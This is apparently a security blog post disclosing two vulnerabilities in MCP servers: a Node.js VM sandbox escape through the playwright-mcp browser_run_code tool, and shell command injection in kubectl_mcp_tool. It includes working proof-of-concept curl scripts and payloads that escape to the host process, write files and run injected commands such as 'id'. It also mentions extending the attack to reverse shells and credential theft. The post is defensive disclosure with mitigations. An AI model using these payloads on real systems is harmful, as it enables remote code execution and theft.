1. Summary

The browser_run_code tool in Microsoft’s playwright-mcp server executes user-supplied JavaScript inside a Node.js VM context. The VM sandbox can be trivially escaped via prototype chain traversal of the page object, yielding a reference to the host Node.js process object. This grants full Remote Code Execution (RCE) with the privileges of the MCP server process.

When the server is deployed with HTTP/SSE transport (Streamable HTTP), any unauthenticated network client can exploit this without credentials or user interaction.

This maps to CWE-693 (Protection Mechanism Failure) and CWE-94 (Code Injection).

This finding was reported to Microsoft Security Response Center (MSRC). MSRC assessed this as “Not a vulnerability — by design” and declined to issue a CVE. A rebuttal was submitted. This post presents the full technical analysis and the basis for disagreement with that assessment.

2. Affected Component

Tool description from the official README:

• Title: Run Playwright code
• Description: Run Playwright code snippet
• Parameter (code): “A JavaScript function containing Playwright code to execute. It will be invoked with a single argument, page, which you can use for any page interaction.”

The documented scope is “page interaction” — navigating, clicking, filling forms, reading DOM content. Host-level code execution is not mentioned.

3. Root Cause: VM Sandbox Escape via Prototype Chain

The browser_run_code tool executes user-supplied JavaScript within a Node.js VM context, passing a live Playwright page object as the sole argument. The vulnerability exists because:

1. The page object originates from outside the VM sandbox (host environment).
2. Its prototype chain leads back to the host’s Function constructor.
3. The host’s Function constructor can be used to create a function that returns the host process object.

Escape technique:

// Walk the prototype chain from the page object to reach host's Function constructor
const processObj = page.constructor.constructor('return process')();

// From process, require any Node.js built-in module
const fs = processObj.mainModule.require('fs');
const child_process = processObj.mainModule.require('child_process');

// Arbitrary host-level operations
fs.writeFileSync('/tmp/pwned.txt', 'arbitrary file write');
child_process.execSync('id > /tmp/whoami.txt');

Why this is vulnerable: The Node.js documentation explicitly states: “The node:vm module is not a security mechanism. Do not use it to run untrusted code.” The browser_run_code tool accepts arbitrary, untrusted code from MCP clients and executes it in this unsafe sandbox without additional hardening.

Why the VM context indicates isolation intent: If unrestricted host-level code execution were “by design,” there would be no reason to use a VM context. The choice of VM over direct eval() or Function() execution indicates an architectural intent to sandbox the execution — an intent that the prototype chain escape circumvents.

4. Aggravating Factor: No Authentication on HTTP Transport

When started with --port 8931 (HTTP/SSE transport), the server requires no authentication to:

1. Establish an MCP session (initialize)
2. List available tools (tools/list)
3. Invoke any tool, including browser_run_code (tools/call)

The official Docker deployment guide demonstrates binding to all interfaces:

docker run -d -i --rm --init --pull=always \
  --entrypoint node \
  --name playwright \
  -p 8931:8931 \
  mcr.microsoft.com/playwright/mcp \
  cli.js --headless --browser chromium --no-sandbox --port 8931 --host 0.0.0.0

In this configuration, any network-reachable client can achieve full RCE on the host (or container) without any credentials.

5. Capability System Inconsistency

playwright-mcp implements a capability-based access control system where dangerous tools require explicit opt-in:

The vision capability is gated because coordinate-based clicking can interact with elements not exposed in the accessibility tree. Yet browser_run_code, which enables full host-level RCE, is exposed by default with no capability gate. This is inconsistent with the security model the capability system was designed to enforce.

6. Impact

7. Proof of Concept (PoC) — Reproduction Steps

7.1 Environment

The attacker machine had no prior access to the target host.

7.2 Step 1 — Establish Session and Verify Tool Availability

#!/usr/bin/env bash
set -euo pipefail

TARGET="http://192.168.136.166:8931/rpc"
HOST_HEADER="localhost:8931"

COMMON_HEADERS=(
  -H "Host: ${HOST_HEADER}"
  -H "Accept: application/json, text/event-stream"
  -H "Content-Type: application/json"
)

# [1] Initialize MCP session
INIT_RESP_HEADERS=$(mktemp)
INIT_RESP_BODY=$(mktemp)

curl -sS -D "$INIT_RESP_HEADERS" \
  -X POST "$TARGET" \
  "${COMMON_HEADERS[@]}" \
  --data '{
    "jsonrpc":"2.0","id":1,"method":"initialize",
    "params":{
      "protocolVersion":"2025-03-26",
      "capabilities":{},
      "clientInfo":{"name":"kali-poc","version":"0.1"}
    }
  }' > "$INIT_RESP_BODY"

SESSION_ID=$(awk 'BEGIN{IGNORECASE=1} /^mcp-session-id:/ {gsub("\r","",$2); print $2}' \
  "$INIT_RESP_HEADERS")
echo "[+] Session ID: $SESSION_ID"

# [2] Send notifications/initialized
curl -sS -i -X POST "$TARGET" "${COMMON_HEADERS[@]}" \
  -H "mcp-session-id: ${SESSION_ID}" \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}'

# [3] List tools — confirm browser_run_code is available
echo ""
echo "[*] Listing available tools..."
curl -sS -X POST "$TARGET" "${COMMON_HEADERS[@]}" \
  -H "mcp-session-id: ${SESSION_ID}" \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' \
  | python3 -m json.tool | grep -A2 "browser_run_code"

# [4] Benign call — navigate to example.com and return page title
echo ""
echo "[*] Benign test: fetching page title from example.com..."
curl -sS -X POST "$TARGET" "${COMMON_HEADERS[@]}" \
  -H "mcp-session-id: ${SESSION_ID}" \
  --data '{
    "jsonrpc":"2.0","id":3,"method":"tools/call",
    "params":{
      "name":"browser_run_code",
      "arguments":{
        "code":"async (page) => { await page.goto(\"https://example.com\"); return await page.title(); }"
      }
    }
  }' | python3 -m json.tool

Expected: browser_run_code appears in the tools/list response. The benign call returns "Example Domain".

7.3 Step 2 — Exploit: VM Escape → Host File Write (RCE Proof)

Replace step [4] in the above script with the following payload:

# [4] RCE — escape VM sandbox via prototype chain, write arbitrary file on host
curl -sS -i -X POST "$TARGET" "${COMMON_HEADERS[@]}" \
  -H "mcp-session-id: ${SESSION_ID}" \
  --data '{
    "jsonrpc":"2.0","id":3,"method":"tools/call",
    "params":{
      "name":"browser_run_code",
      "arguments":{
        "code":"async (page) => { const processObj = page.constructor.constructor('\''return process'\'')(); const fs = processObj.mainModule.require('\''fs'\''); const target = '\''/tmp/pwmcp_rce_test.txt'\''; const content = '\''playwright-mcp host file write test\n'\''; fs.writeFileSync(target, content, '\''utf8'\''); return fs.readFileSync(target, '\''utf8'\''); }"
      }
    }
  }'

Verify on the MCP server host:

$ cat /tmp/pwmcp_rce_test.txt
playwright-mcp host file write test

This confirms arbitrary file write on the server host from an unauthenticated remote client.

Why it succeeds: The page object’s prototype chain provides access to the host Function constructor, which can produce a function returning the host process object. From process, any Node.js built-in module (fs, child_process, net, etc.) is accessible. This behavior is consistent with the documented limitations of Node.js vm module.

The same technique trivially extends to arbitrary file read (/etc/passwd, SSH keys, application secrets), command execution via child_process.execSync(), reverse shell establishment, and lateral movement within the network.

8. Vendor Response (MSRC)

After careful investigation, this case has been assessed as Not a vulnerability due to the fact that as for Engineering this is by design. Guidance on browser_run_code - by design - https://github.com/microsoft/playwright-mcp/blob/main/README.md#tools

MSRC prioritizes vulnerabilities that are assessed as an Important or Critical severity. Since this case was below the bar for immediate servicing, it is not eligible for bounty, and no CVE will be issued. MSRC will not be tracking this issue further, and no additional updates will be provided.

Why “By Design” Does Not Hold

A formal rebuttal has been submitted to MSRC.

9. Recommended Mitigations

For users deploying playwright-mcp:

• Do not expose the MCP server on network interfaces. Use stdio transport exclusively. If HTTP transport is required, restrict access via firewall rules or place behind an authenticated reverse proxy.
• Avoid using browser_run_code in production deployments. Deploy with a configuration that excludes this tool from the tool list if possible.
• Run in a container or VM with minimal privileges. Limit the blast radius if the sandbox is escaped.

For the maintainers:

• Gate browser_run_code behind an explicit capability flag (e.g., --caps code-execution), consistent with the existing capability system.
• Replace or harden the VM sandbox. Consider vm2, isolated-vm, or a separate worker process with restricted permissions.
• Implement authentication for HTTP transport. At minimum, require a token or API key for session establishment.

10. Timeline

11. References

• microsoft/playwright-mcp — GitHub
• Node.js vm module documentation — “Do not use it to run untrusted code”
• MCP Specification — Model Context Protocol
• CWE-693: Protection Mechanism Failure
• CWE-94: Improper Control of Generation of Code (Code Injection)
• CWE-306: Missing Authentication for Critical Function
• Playwright MCP Security Best Practices

Disclosure Note: This vulnerability was reported to Microsoft Security Response Center (MSRC) through the coordinated disclosure process. MSRC assessed it as “Not a vulnerability — by design” and stated no CVE would be issued and no further tracking would occur. This post is published as a technical analysis for the security community’s awareness, following the vendor’s explicit closure of the case.

1. Summary

The minimal MCP server wrapper in kubectl_mcp_tool/minimal_wrapper.py is vulnerable to OS command injection because it executes a user-controlled command string using subprocess.run(..., shell=True, ...). This allows an attacker to append shell metacharacters (e.g., ;, &&, |) and execute arbitrary OS commands on the host.

This maps to CWE-78 (OS Command Injection).

2. Affected Component

Key vulnerable lines:

• Line 132 — Prefixing attacker input into a command string: command = f"kubectl {command}"
• Line 140 — Executing attacker-controlled string via shell: shell=True

The actual subprocess.run(command, shell=True, ...) call is visible in the source snippet.

Why this is vulnerable: Python explicitly warns that when shell=True is used, the application must correctly quote/escape metacharacters to prevent shell injection.

3. MCP Tool Entry Point (How Untrusted Input Reaches the Sink)

The MCP server registers a tool named process_natural_language. There are multiple paths where attacker-controlled text is passed into run_kubectl_command():

(A) Direct kubectl command path
If the incoming query starts with "kubectl ", the code executes it directly via run_kubectl_command(query).

(B) “Extracted kubectl command” path
If the query contains "run … command … kubectl", a regex extracts kubectl ... from the query and executes it.

These mean a malicious MCP client (or an LLM-driven tool call) can deliver a payload like kubectl get pods; <OS command> and reach subprocess.run(... shell=True ...).

4. Impact

• Primary: Arbitrary command execution on the host running the MCP server (RCE). Privilege is the same as the MCP server process (in the PoC below, root).
• Secondary: If the MCP server runs with a privileged kubeconfig, an attacker may also use kubectl to impact the Kubernetes cluster (depending on RBAC/credentials).

5. Proof of Concept (PoC) — Reproduction Steps

The following PoC demonstrates OS command injection without requiring a working Kubernetes cluster, because the injected command runs in the shell regardless of kubectl connectivity.

Note: This PoC applies to versions <= 1.1.1 only. The vulnerability is patched in version 1.2.0.

1. Start a Python REPL inside your venv:

from kubectl_mcp_tool import minimal_wrapper
minimal_wrapper.run_kubectl_command("get pods; id >> /tmp/pwned")

2. Verify:

cat /tmp/pwned

Expected output shows the server process identity (e.g., uid=0(root) ...), proving arbitrary command execution.

Why it succeeds even without kubeconfig: With shell=True, the shell executes kubectl get pods; id >> /tmp/pwned. The injected command (id) runs independently of kubectl’s success or failure. This behavior is consistent with shell-invoked command strings.

6. Root Cause

The vulnerability exists because run_kubectl_command():

1. Takes user-controlled input,
2. Forms a command string by string interpolation, and
3. Executes it using subprocess.run(..., shell=True, ...)

This allows shell metacharacters to be interpreted by /bin/sh -c, enabling OS command injection (CWE-78).

7. Remediation

The patch (PR #40, merged 2026-01-19) addressed the vulnerability with a multi-layered approach:

• Removed shell=True from all subprocess calls
• Added sanitize_command_args() to block dangerous shell metacharacters
• Added validate_kubectl_command() with a whitelist of allowed kubectl subcommands
• Added path traversal protection

import subprocess

# Before (vulnerable)
command = f"kubectl {command}"
result = subprocess.run(command, shell=True, ...)

# After (safe — simplified illustration)
args = ["kubectl"] + sanitize_command_args(command)
result = subprocess.run(args, shell=False, ...)

This was addressed in version 1.2.0.

8. Timeline

9. References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• Python docs — Security Considerations for subprocess with shell=True
• CVE-2025-69902 (MITRE)
• GitHub Issue #36
• Patch PR #40

앞으로 열심히 포스팅 하겠습니다. 감사합니다 (__)